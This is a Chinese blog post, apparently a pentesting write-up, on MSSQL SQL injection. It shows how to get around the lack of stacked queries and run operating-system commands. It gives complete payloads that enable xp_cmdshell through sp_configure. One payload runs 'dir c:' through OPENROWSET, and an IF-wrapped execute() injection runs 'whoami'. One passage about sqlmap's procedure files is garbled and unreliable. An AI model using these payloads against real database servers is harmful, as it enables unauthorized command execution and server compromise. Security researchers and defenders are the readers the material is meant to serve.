MSSQL注入:突破无法堆叠的限制,执行系统命令
使用openrowset
这是网上广泛流传的方法。使用openrowset执行突破不能堆叠的限制。语法格式如下:
OPENROWSET
( { 'provider_name'
, { 'datasource' ; 'user_id' ; 'password' | 'provider_string' }
, { <table_or_view> | 'query' }
| BULK 'data_file' ,
{ FORMATFILE = 'format_file_path' [ <bulk_options> ]
| SINGLE_BLOB | SINGLE_CLOB | SINGLE_NCLOB }
} )
Payload
select * from openrowset('sqloledb','dsn=locaserver;trusted_connection=yes','set
fmtonly off
exec master..xp_cmdshell ''dir c:''with RESULT SETS((a varchar(max)))')
在正常的渗透测试中,这种技术在切换高权限用户时使用较多。在run_statement_as_user.sql
下的sqlmap\data\procs\mssqlserver
下,我们可以使用常用的 y在当前应用中,因为在mssql2005及以后版本中,mssql有权限控制系统存储过程中,Ad Hoc 分布式查询
组件默认情况下未启用。
- 开启Ad Hoc Distributed Queries组件
exec sp_configure 'show advanced options',1 reconfigure exec sp_configure 'Ad Hoc Distributed Queries',1 reconfigure
- 关闭Ad Hoc Distributed Queries组件
exec sp_configure 'Ad Hoc Distributed Queries',0 reconfigure exec sp_configure 'show advanced options',0 reconfigure
- 检查对应的存储是否启用
select name,value_in_use from sys.configurations where name like '%Ad Hoc Distributed Queries%'
select name,value_in_use from sys.configurations where name like '%cmdshell%'
启用后再次运行就可以看到顺利了被执行。
使用exec\execute
因为方法1限制太多,我查了很久资料也没有找到合适的方法,只好自己动手。在同事@子云爸爸
的帮助下,我终于找到了新的方法来突破不能叠加的难题。
那么exec 真的需要多句来执行吗?
,我们直接看payload
if
语句的表达式如下,即我们可以使用来 sql_statement
,那么只要你能在你的注入点上构建一个if
,就可以在不需要环境支持堆叠的情况下实现堆叠效果。
IF Boolean_expression
{ sql_statement | statement_block }
[ ELSE
{ sql_statement | statement_block } ]
完成有效负载
select 1 where 1=1 if 1=1 execute('exec sp_configure ''show advanced options'',
1;reconfigure;exec sp_configure ''xp_cmdshell'', 1;reconfigure;exec xp_cmdshell
''whoami''');
本文作者:宽字节安全
版权声明
本文仅代表作者观点,不代表Code前端网立场。
本文系作者Code前端网发表,如需转载,请注明页面地址。
发表评论:
◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。